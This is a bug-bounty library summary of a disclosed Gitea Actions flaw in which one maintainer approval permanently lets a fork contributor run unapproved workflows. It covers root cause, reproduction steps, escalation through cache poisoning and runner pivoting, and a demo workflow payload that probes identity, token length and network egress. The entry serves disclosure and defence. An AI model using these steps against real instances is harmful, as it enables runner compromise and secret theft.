# Gitea: Permanent Fork PR Workflow Approval Gate Bypass

Gitea Actions' fork-PR approval gate trusts a user permanently after one approval, letting an attacker run arbitrary workflow YAML on the runner via a second unapproved PR.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): prakhar0x01
- Found by: prakhar0x01
- Disclosed: 2026-07-21
- CVE: CVE-2026-58424
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-777r-4v59-6486
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-777r-4v59-6486
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** Gitea Actions fork pull request approval gate (services/actions/notifier_helper.go ifNeedApproval)
**Root cause:** ifNeedApproval skips the gate whenever any prior action_run row for (repo_id, trigger_user_id) has approved_by > 0, with no scoping to PR, ref, commit SHA or time window, so one approval permanently trusts the user for all future fork PRs.
**Steps:**
1. Attacker forks target repo and opens benign PR #1; run created with `need_approval = 1`, status Blocked
2. Maintainer clicks 'Approve and run workflows'; row updates to `need_approval = 0`, `approved_by = 1`
3. Attacker opens PR #2 from a new branch rewriting `.gitea/workflows/ci.yml` with a malicious `run:` payload
4. Run #2 is created with `need_approval = 0`, `approved_by = 0` and dispatched immediately without any maintainer interaction
5. Verify in DB: `SELECT id, trigger_user_id, need_approval, approved_by, status, ref FROM action_run` shows the second row unapproved yet executed
**How found:** Code reading of ifNeedApproval: the comment says 'first time user triggered actions' but the Count query only filters RepoID, TriggerUserID and Approved, with no PR/commit predicate — a mismatch between documented intent and implementation, confirmed by live repro.
**Exploitation:** After a single maintainer approval on any prior fork PR, the attacker pushes a new fork PR whose workflow YAML executes arbitrary shell on the self-hosted runner with a populated GITHUB_TOKEN, outbound network, and a read-only clone of the base repo; cache/artifact poisoning can transitively reach trusted base-branch runs.
**Escalation:** Poisoned Actions cache/artifacts restored by trusted base-branch runs escape the fork sandbox with full secret access; long-lived runners allow persistence and internal network pivoting.
**Insight:** When an approval/trust gate is implemented as a DB count, check the WHERE clause for the actual unit of trust (PR, commit, artifact hash) — a user-scoped count silently converts one approval into permanent trust; also compare against the upstream platform's semantics (GitHub gates until merge, not until approve-to-run).

## Proof of concept (copied exactly from the original report)

**Malicious fork PR workflow YAML payload**

```
name: CI
   on: [pull_request]
   jobs:
     test:
       runs-on: [ubuntu-latest]
       steps:
         - name: pwn
           env:
             BASE_TOKEN: ${{ github.token }}
           run: |
             echo "===== BYPASS DEMO - this workflow ran WITHOUT approval ====="
             echo "running as: $(id 2>/dev/null || echo n/a)"
             echo "hostname:   $(hostname 2>/dev/null || echo n/a)"
             echo "uname:      $(uname -a 2>/dev/null || echo n/a)"
             echo "GITHUB_TOKEN length = ${#BASE_TOKEN}"
             curl -fsS --max-time 5 https://example.com/ -o /dev/null -w "egress HTTP %{http_code}\n" || echo "(no network)"
             ls -la
             echo "===== END DEMO ====="
```

**SQLite query showing unapproved run executed**

```
SELECT
  ar.id,
  ar.trigger_user_id,
  ar.need_approval,
  ar.approved_by,
  CASE ar.status
    WHEN 1 THEN 'Success' WHEN 2 THEN 'Failure' WHEN 3 THEN 'Cancelled'
    WHEN 4 THEN 'Skipped' WHEN 5 THEN 'Waiting' WHEN 6 THEN 'Running'
    WHEN 7 THEN 'Blocked' ELSE CAST(ar.status AS TEXT) END AS status,
  ar.ref
FROM action_run ar
JOIN repository r ON r.id = ar.repo_id
WHERE r.owner_name = 'maintainer' AND r.name = 'gate-bypass-poc'
ORDER BY ar.id;
```

